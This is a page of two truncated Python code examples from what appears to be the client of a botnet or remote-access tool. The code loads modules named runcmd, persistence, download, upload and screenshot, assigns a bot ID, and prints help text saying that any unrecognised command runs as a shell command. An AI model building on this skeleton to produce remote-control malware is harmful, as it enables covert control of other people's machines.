Exemple #1
0
import socket
import random
import string

import settings
import utils
from modules import runcmd
from modules import persistence
from modules import download
from modules import upload
from modules import screenshot

MODULES = ['runcmd', 'persistence', 'download', 'upload', 'screenshot']
if not settings.BOT_ID:
    settings.BOT_ID = socket.gethostname()
if not utils.validate_botid(settings.BOT_ID):
    settings.BOT_ID = ''.join(
        random.choice(string.ascii_letters) for _ in range(5))


def print_help(mod=None):
    help_text = "Loaded modules:\n"
    if mod is None:
        for module in MODULES:
            help_text += "- " + module + "\n"
            help_text += sys.modules["modules." + module].help()
        help_text += """
General commands:

- cd path/to/dir : changes directory
- help : display this text
Exemple #2
0
import string

import settings
import utils
from modules import runcmd
from modules import persistence
from modules import download
from modules import upload
from modules import screenshot


#MODULES = ['runcmd', 'persistence', 'download', 'upload', 'screenshot']
MODULES = ['runcmd', 'persistence', 'download', 'upload', 'screenshot']
if not settings.BOT_ID:
    settings.BOT_ID = socket.gethostname()
if not utils.validate_botid(settings.BOT_ID):
    settings.BOT_ID = ''.join(random.choice(string.ascii_letters) for _ in range(5))


def print_help(mod=None):
    help_text = "Loaded modules:\n"
    if mod is None:
        for module in MODULES: 
            help_text += "- " + module + "\n"
            help_text += sys.modules["modules." + module].help()
        help_text += """
General commands:

- cd path/to/dir : changes directory
- help : display this text
- [any other command] : execute shell command